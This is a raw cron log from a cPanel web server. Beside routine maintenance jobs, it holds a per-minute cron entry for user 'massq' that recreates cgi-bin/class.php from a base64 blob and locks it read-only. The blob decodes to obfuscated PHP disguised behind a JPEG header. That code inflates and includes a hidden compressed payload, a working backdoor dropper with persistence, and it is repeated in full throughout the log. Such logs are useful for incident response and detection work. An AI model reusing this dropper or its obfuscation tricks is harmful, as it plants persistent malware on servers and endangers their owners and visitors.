Sep  4 03:16:01 server CROND[20540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:16:01 server CROND[20541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:17:01 server CROND[20955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:17:01 server CROND[20957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:17:01 server CROND[20956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:18:01 server CROND[21322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:18:01 server CROND[21323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:18:01 server CROND[21324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:19:01 server CROND[21709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:19:01 server CROND[21710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:19:01 server CROND[21711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:20:01 server CROND[22200]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 03:20:01 server CROND[22202]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 03:20:01 server CROND[22203]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 03:20:01 server CROND[22209]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:20:01 server CROND[22211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:20:01 server CROND[22213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:20:01 server CROND[22214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:20:01 server CROND[22215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:20:01 server CROND[22217]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 03:21:01 server CROND[23207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:21:01 server CROND[23208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:21:01 server CROND[23209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:22:01 server CROND[23598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:22:01 server CROND[23599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:22:01 server CROND[23600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:23:01 server CROND[24032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:23:01 server CROND[24033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:23:01 server CROND[24034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:24:01 server CROND[24416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:24:01 server CROND[24417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:24:01 server CROND[24418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:25:01 server CROND[24893]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:25:01 server CROND[24895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:25:01 server CROND[24898]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:25:01 server CROND[24899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:25:01 server CROND[24900]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 03:25:01 server CROND[24905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:25:01 server CROND[24896]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 03:26:01 server CROND[25720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:26:01 server CROND[25721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:26:01 server CROND[25722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:27:01 server CROND[26103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:27:01 server CROND[26106]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 03:27:01 server CROND[26105]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep  4 03:27:01 server CROND[26107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:27:01 server CROND[26108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
